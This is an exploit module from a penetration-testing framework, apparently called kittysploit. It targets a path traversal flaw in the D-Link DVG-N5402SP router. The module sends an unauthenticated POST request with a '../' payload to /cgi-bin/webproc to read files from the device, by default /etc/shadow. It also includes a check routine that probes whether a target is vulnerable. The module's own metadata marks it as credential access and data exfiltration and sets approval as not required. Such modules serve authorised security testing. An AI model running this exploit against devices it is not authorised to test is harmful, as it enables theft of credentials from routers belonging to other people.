D-Link DVG-N5402SP Path Traversal
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DVG-N5402SP Path Traversal"""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
'name': 'D-Link DVG-N5402SP Path Traversal',
'description': 'Module exploits D-Link DVG-N5402SP path traversal vulnerability, which allows reading files form the device.',
'author': ['Karn Ganeshen', 'Marcin Bury'],
'platform': Platform.LINUX,
'references': ['https://www.exploit-db.com/exploits/39409/', 'http://ipositivesecurity.blogspot.com/2016/02/dlink-dvgn5402sp-multiple-vuln.html'],
'tags': ['iot', 'router', 'lfi', 'unauth', 'auxiliary'],
'agent': {
'risk': 'active',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['credentials', 'risk_signals'],
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(8080, "Target HTTP port")
filename = OptString('/etc/shadow', 'File to read') # file to read
def run(self):
# address and parameters
data = {
"getpage": "html/index.html",
"*errorpage*": "../../../../../../../../../../..{}".format(self.filename),
"var%3Amenu": "setup",
"var%3Apage": "connected",
"var%": "",
"objaction": "auth",
"%3Ausername": "blah",
"%3Apassword": "blah",
"%3Aaction": "login",
"%3Asessionid": "abcdefgh"
}
# connection
response = self.http_request(
method="POST",
path="/cgi-bin/webproc",
data=data
)
if response is None:
return
if response.status_code == 200:
print_success("Exploit success")
print_status("File: {}".format(self.filename))
print_info(response.text)
else:
print_error("Exploit failed")
def check(self):
# address and parameters
data = {
"getpage": "html/index.html",
"*errorpage*": "../../../../../../../../../../../etc/shadow",
"var%3Amenu": "setup",
"var%3Apage": "connected",
"var%": "",
"objaction": "auth",
"%3Ausername": "blah",
"%3Apassword": "blah",
"%3Aaction": "login",
"%3Asessionid": "abcdefgh"
}
# connection
response = self.http_request(
method="POST",
path="/cgi-bin/webproc",
data=data,
)
if response and ("/etc/shadow" in (response.text or '')):
return True # target vulnerable
return False # target not vulnerable
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